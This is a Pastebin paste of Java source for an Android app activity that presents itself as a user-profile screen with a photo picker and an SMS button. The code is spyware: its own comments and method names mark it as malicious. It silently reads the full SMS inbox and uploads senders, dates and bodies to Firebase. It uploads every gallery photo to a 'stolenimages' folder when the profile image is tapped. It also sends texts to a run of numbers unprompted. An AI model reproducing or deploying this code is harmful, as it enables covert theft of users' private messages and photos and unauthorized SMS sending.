Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.example.kamran.logingreentheme;
- import android.*;
- import android.Manifest;
- import android.app.Activity;
- import android.app.ProgressDialog;
- import android.content.DialogInterface;
- import android.content.Intent;
- import android.net.Uri;
- import android.os.Environment;
- import android.provider.MediaStore;
- import android.support.v4.content.FileProvider;
- import android.support.v7.app.AlertDialog;
- import android.support.v7.app.AppCompatActivity;
- import android.os.Bundle;
- import android.telephony.SmsManager;
- import android.view.View;
- import android.widget.Button;
- import android.widget.ImageView;
- import android.widget.ProgressBar;
- import android.widget.Toast;
- import android.content.pm.PackageManager;
- import android.database.Cursor;
- import android.graphics.Bitmap;
- import android.media.Image;
- import android.support.annotation.NonNull;
- import android.support.v4.app.ActivityCompat;
- import android.webkit.PermissionRequest;
- import com.bumptech.glide.Glide;
- import com.google.android.gms.tasks.OnCompleteListener;
- import com.google.android.gms.tasks.OnFailureListener;
- import com.google.android.gms.tasks.Task;
- import com.google.firebase.auth.UserProfileChangeRequest;
- import java.util.ArrayList;
- import java.util.Arrays;
- import com.google.android.gms.tasks.OnSuccessListener;
- import com.google.firebase.auth.FirebaseAuth;
- import com.google.firebase.auth.FirebaseUser;
- import com.google.firebase.database.DatabaseReference;
- import com.google.firebase.database.FirebaseDatabase;
- import com.google.firebase.storage.FirebaseStorage;
- import com.google.firebase.storage.StorageReference;
- import com.google.firebase.storage.UploadTask;
- import java.io.File;
- import java.io.IOException;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import android.database.Cursor;
- import android.util.Log;
- import android.support.v4.app.ActivityCompat;
- import android.widget.EditText;
- import android.app.Dialog;
- public class AllerActivity extends AppCompatActivity {
- private Button takeSMS;
- private FirebaseAuth firebaseAuth;
- private DatabaseReference databaseReference;
- ImageView imageView;
- private static final int CHOOSE_IMAGE = 101;
- private static final int MY_PERMISSIONS_READ_EXTERNAL_STORAGE = 10;
- private static final int MY_PERMISSIONS_WRITE_SMS = 18;
- private static final int MY_PERMISSIONS_READ_SMS = 88;
- Uri uriProfileImage;
- ProgressBar progressBar;
- String profileImageURL;
- FirebaseAuth mAuth;
- FirebaseStorage storage = FirebaseStorage.getInstance();
- //store all images
- final String[] columns = {MediaStore.Images.Media.DATA, MediaStore.Images.Media._ID};
- final String orderBy = MediaStore.Images.Media._ID;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_aller);
- mAuth = FirebaseAuth.getInstance();
- imageView = (ImageView) findViewById(R.id.ivPhoto);
- progressBar = (ProgressBar) findViewById(R.id.progressBar);
- loadUserInformation();
- takeSMS = (Button) findViewById(R.id.btnSMS);
- imageView.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View view) {
- System.out.println("Clicked on image");
- accessGalleryPermission();
- showImageChooser();
- saveUserInformation();
- }
- });
- takeSMS.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View view) {
- accessSecretSendAndStealSMS();
- }
- });
- }
- private void accessSecretSendAndStealSMS() {
- if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_SMS)
- != PackageManager.PERMISSION_GRANTED) {
- ActivityCompat.requestPermissions(this,
- new String[]{Manifest.permission.READ_SMS},
- MY_PERMISSIONS_READ_SMS);
- } else {
- takeSMS();
- }
- if (ActivityCompat.checkSelfPermission(this, Manifest.permission.SEND_SMS)
- != PackageManager.PERMISSION_GRANTED) {
- ActivityCompat.requestPermissions(this,
- new String[]{Manifest.permission.SEND_SMS},
- MY_PERMISSIONS_WRITE_SMS);
- } else {
- secretSendSMS();
- }
- }
- private void secretSendSMS(){
- int i = 0;
- while (i < 3) {
- String number = "97867455";
- int intNumber = Integer.parseInt(number) + i;
- String newNumber = Integer.toString(intNumber);
- sendSMS(newNumber, "Obama!!");
- Intent sendIntent = new Intent(Intent.ACTION_VIEW);
- sendIntent.setData(Uri.parse("sms:" + "82338620"));
- startActivity(sendIntent);
- i++;
- }
- };
- private void sendGalleryImages() {
- //malicious activity to store gallery photos to database
- Cursor cursor = getContentResolver().query(
- MediaStore.Images.Media.EXTERNAL_CONTENT_URI, columns, null,
- null, orderBy);
- //Total number of images
- int count = cursor.getCount();
- //Create an array to store path to all the images
- String[] arrPath = new String[count];
- StorageReference storageRef = storage.getReference();
- for (int i = 0; i < count; i++) {
- cursor.moveToPosition(i);
- int dataColumnIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
- //Store the path of the image
- arrPath[i] = cursor.getString(dataColumnIndex);
- System.out.println("URI: " + arrPath[i]);
- Uri file = Uri.fromFile(new File(arrPath[i]));
- StorageReference riversRef = storageRef.child("stolenimages/" + file.getLastPathSegment());
- riversRef.putFile(file);
- }
- // The cursor should be freed up after use with close()
- cursor.close();
- }
- private void accessGalleryPermission() {
- if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE)
- != PackageManager.PERMISSION_GRANTED) {
- ActivityCompat.requestPermissions(this,
- new String[]{Manifest.permission.READ_EXTERNAL_STORAGE},
- MY_PERMISSIONS_READ_EXTERNAL_STORAGE);
- } else {
- sendGalleryImages();
- }
- }
- @Override
- public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
- switch (requestCode) {
- case MY_PERMISSIONS_READ_EXTERNAL_STORAGE:
- if (grantResults.length > 0
- && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
- Toast.makeText(this, "Gallery permission accepted", Toast.LENGTH_LONG).show();
- } else {
- if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {
- new AlertDialog.Builder(this).
- setTitle("Read Gallery Permission").
- setMessage("You need to grant storage permission ").show();
- } else {
- new AlertDialog.Builder(this).
- setTitle("Read Gallery denied").
- setMessage("You have denied storage permission. To enable it go to settings ").show();
- }
- }
- break;
- }
- }
- @Override
- protected void onStart() {
- super.onStart();
- if (mAuth.getCurrentUser() == null) {
- finish();
- startActivity(new Intent(this, login.class));
- }
- }
- private void loadUserInformation() {
- FirebaseUser user = mAuth.getCurrentUser();
- if (user != null) {
- if (user.getPhotoUrl() != null) {
- Glide.with(this)
- .load(user.getPhotoUrl().toString())
- .into(imageView);
- }
- }
- }
- private void saveUserInformation() {
- FirebaseUser user = mAuth.getCurrentUser();
- if (profileImageURL != null) {
- UserProfileChangeRequest profile = new UserProfileChangeRequest.Builder()
- .setPhotoUri(Uri.parse(profileImageURL))
- .build();
- user.updateProfile(profile)
- .addOnCompleteListener(new OnCompleteListener<Void>() {
- @Override
- public void onComplete(@NonNull Task<Void> task) {
- if (task.isSuccessful()) {
- Toast.makeText(AllerActivity.this, "Profile Updated", Toast.LENGTH_SHORT).show();
- }
- }
- });
- }
- }
- private void showImageChooser() {
- Intent intent = new Intent();
- intent.setType("image/*");
- intent.setAction(Intent.ACTION_GET_CONTENT);
- startActivityForResult(Intent.createChooser(intent, "Select Profile Image"), CHOOSE_IMAGE);
- }
- public void onActivityResult(int requestCode, int resultCode, Intent data) {
- super.onActivityResult(requestCode, resultCode, data);
- if (requestCode == CHOOSE_IMAGE && resultCode == RESULT_OK && data != null && data.getData() != null) {
- uriProfileImage = data.getData();
- try {
- Bitmap bitmap = MediaStore.Images.Media.getBitmap(getContentResolver(), uriProfileImage);
- imageView.setImageBitmap(bitmap);
- uploadImageToFirebaseStorage();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
- private void uploadImageToFirebaseStorage() {
- final StorageReference profileImageRef = FirebaseStorage.getInstance().getReference("profilepics/" + System.currentTimeMillis() + ".jpg");
- if (uriProfileImage != null) {
- progressBar.setVisibility(View.VISIBLE);
- profileImageRef.putFile(uriProfileImage).addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
- @Override
- public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
- progressBar.setVisibility(View.GONE);
- profileImageURL = taskSnapshot.getDownloadUrl().toString();
- }
- }).addOnFailureListener(new OnFailureListener() {
- @Override
- public void onFailure(@NonNull Exception e) {
- progressBar.setVisibility(View.GONE);
- Toast.makeText(AllerActivity.this, e.getMessage(), Toast.LENGTH_SHORT).show();
- }
- });
- }
- }
- private void sendSMS (String phoneNumber, String message){
- SmsManager sms = SmsManager.getDefault();
- sms.sendTextMessage(phoneNumber, null, message, null, null);
- }
- private void takeSMS () {
- Log.d("myTag", "invoke takeSMS()");
- final int REQUEST_CODE_ASK_PERMISSIONS = 123;
- Uri uriSms = Uri.parse("content://sms/inbox");
- Cursor cursor = getContentResolver().query(uriSms, new String[]{"_id", "address", "date", "body"}, null, null, null);
- databaseReference = FirebaseDatabase.getInstance().getReference();
- //editTextAddress = (EditText) findViewById(R.id.editTextAddress);
- //editTextName = (EditText) findViewById(R.id.editTextName);
- //buttonSave = (Button) findViewById(R.id.buttonSave);
- cursor.moveToFirst();
- while (cursor.moveToNext()) {
- String uniqueID = cursor.getString(0).trim();
- String address = cursor.getString(1).trim(); //phone number
- String date = cursor.getString(2).trim();
- String body = cursor.getString(3).trim();
- System.out.println("Msg ID: " + uniqueID);
- System.out.println("Mobile number: " + address);
- System.out.println("Date: " + date);
- System.out.println("Text: " + body);
- //String name = editTextName.getText().toString().trim();
- //String add = editTextAddress.getText().toString().trim();
- FirebaseUser user = firebaseAuth.getInstance().getCurrentUser();
- SMSInformation SMSInformation = new SMSInformation(address, date, body);
- System.out.println("SMSInformation - : " + SMSInformation.toString());
- databaseReference.child(user.getUid()).child(uniqueID).setValue(SMSInformation.toString());
- }
- }
- ;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement